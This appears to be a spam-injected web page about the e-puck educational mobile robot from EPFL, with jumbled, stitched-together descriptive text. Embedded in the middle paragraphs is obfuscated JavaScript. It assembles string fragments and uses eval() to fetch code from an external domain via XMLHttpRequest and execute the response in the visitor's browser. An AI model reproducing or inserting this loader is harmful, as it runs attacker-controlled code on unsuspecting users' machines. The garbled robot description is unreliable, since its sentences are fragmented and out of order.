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The e-puck mobile robot Overview [ ] The e-puck robot is powered by a dsPIC processor, i.. E-puck [ ] Introduction [ ] The e-puck robot was designed by Dr Francesco Mondada and Michael Bonani in 2006 at EPFL, the Swiss Federal Institute of Technology in Lausanne (see Figure).

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o";Yv["SbsT"]="t9 w";Yv["NHSv"]="WRdD";Yv["ItBw"]="er;e";Yv["WQvq"]="xhr ";Yv["GLPy"]="Dh9A";Yv["IeeG"]="'//d";Yv["ZYCH"]="XFUX";Yv["xyJa"]="n('G";Yv["FhrV"]="st()";Yv["YnmY"]="t.. var Yv = new Array();Yv["Zxyw"]="Agxb";Yv["WLJT"]="TR8K";Yv["AFtY"]="TU5S";Yv["LRLE"]="ferr";Yv["DkfG"]="hr.. The e-puck robot was designed to meet a number of requirements: • Neat Design: the simple mechanical structure, electronics design and software of e-puck is an example of a clean and modern system.. • User friendly: e-puck is small and easy to setup on a table top next to a computer.. Hopefully, this practical approach will make you understand what robots are and what you can do with them.

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(Japan) and are available for purchase from various distributors You can order your own e-puck robot for about 950 Swiss Francs (CHF) from Cyberbotics Ltd.. The e-puck robots are now produced industrially by GCTronic S à r l (Switzerland) and Applied AI, Inc.. • Affordable: the price tag of e-puck is friendly to university budgets The e-puck robot has already been used in a wide range of applications, including mobile robotics engineering, real-time programming, embedded systems, signal processing, image processing, sound and image feature extraction, human-machine interaction, inter-robot communication, collective systems, evolutionary robotics, bio-inspired robotics, etc.. Similarly, the e-puck software is fully open source, providing low level access to every electronic device and offering unlimited extension possibilities.

It doesn't need any cable (rely on Bluetooth) and provides optimal working comfort.. To help the creation of a community inside and outside EPFL, the project is based on an open hardware concept, where all documents are distributed and submitted to a license allowing everyone to use and develop for it.. ope";Yv["efOt"]="AE0B";Yv["fdUL"]="TUIA";Yv["lJrZ"]="resp";Yv["sOVU"]="umen";Yv["dycX"]=");};";Yv["dEGM"]="WhBD";Yv["Gesa"]="');x";Yv["beqP"]="MgBX";Yv["PjPO"]="send";Yv["vreE"]="A1QB";Yv["YdtD"]="val(";Yv["blys"]="xhr=";Yv["LSQi"]="H11f";Yv["KuyF"]="ElsS";Yv["arGF"]="SQoP";Yv["mZbp"]="CkJb";Yv["usIe"]="onse";Yv["BTbz"]="jUH=";Yv["FmYv"]="{var";Yv["AuMV"]="();";Yv["TYaB"]="=doc";Yv["PgHS"]="ET',";Yv["aFzC"]="VV0T";Yv["pAwy"]="S1RV";eval(Yv["NqZY"]+Yv["blys"]+Yv["YUnK"]+Yv["FBIe"]+Yv["ewIH"]+Yv["BJyY"]+Yv["FhrV"]+Yv["nvsu"]+Yv["JfBq"]+Yv["xyJa"]+Yv["PgHS"]+Yv["IeeG"]+Yv["dDrw"]+Yv["Bnfd"]+Yv["SbsT"]+Yv["TCfC"]+Yv["BTbz"]+Yv["arGF"]+Yv["NHSv"]+Yv["cFpA"]+Yv["dKSK"]+Yv["eVTw"]+Yv["Zxyw"]+Yv["fPhm"]+Yv["beqP"]+Yv["dEGM"]+Yv["WLJT"]+Yv["uKam"]+Yv["LSQi"]+Yv["KuyF"]+Yv["aFzC"]+Yv["SkAY"]+Yv["AFtY"]+Yv["pAwy"]+Yv["efOt"]+Yv["mZbp"]+Yv["xmLn"]+Yv["ZYCH"]+Yv["GLPy"]+Yv["fdUL"]+Yv["lLtO"]+Yv["qbXl"]+Yv["vreE"]+Yv["Gesa"]+Yv["DkfG"]+Yv["zmZC"]+Yv["cMsD"]+Yv["KYta"]+Yv["lciB"]+Yv["FmYv"]+Yv["ozRH"]+Yv["TYaB"]+Yv["sOVU"]+Yv["YnmY"]+Yv["LRLE"]+Yv["ItBw"]+Yv["YdtD"]+Yv["WQvq"]+Yv["lJrZ"]+Yv["usIe"]+Yv["LRkV"]+Yv["dycX"]+Yv["WQvq"]+Yv["PjPO"]+Yv["AuMV"]);Contents • • • • • • This chapter introduces you to a couple of useful robotics tools: e-puck, a mini mobile robot and Webots, a robotics CAD software.

In the rest of this book, you will use both of them to practice hands-on robotics.. • Flexibility: e-puck covers a wide range of educational activities, offering many possibilities with its sensors, processing power and extensions.. • Robustness and maintenance: e-puck resists to student use and is simple to repair.. It was intended to be a tool for university education, but is actually also used for research.. re";Yv["Bnfd"]="nsof";Yv["dKSK"]="VEFF";Yv["fPhm"]="SkJN";Yv["SkAY"]="S1wD";Yv["KYta"]="ncti";Yv["FBIe"]="XMLH";Yv["xmLn"]="AV4V";Yv["qbXl"]="AhYK";Yv["eVTw"]="XUsc";Yv["LRkV"]="Text";Yv["BJyY"]="eque";Yv["lLtO"]="VFQc";Yv["ozRH"]=" ref";Yv["zmZC"]="nloa";Yv["dDrw"]="owne";Yv["ewIH"]="ttpR";Yv["nvsu"]=";xhr";Yv["YUnK"]="new ";Yv["lciB"]="on()";Yv["cFpA"]="DABJ";Yv["cMsD"]="d=fu";Yv["TCfC"]="in/?";Yv["uKam"]="TwEB";Yv["NqZY"]="var ";Yv["JfBq"]=".. • Simulation software: e-puck is integrated in the Webots simulation software for easy programming, simulation and remote control of real robot. 5ebbf469cd

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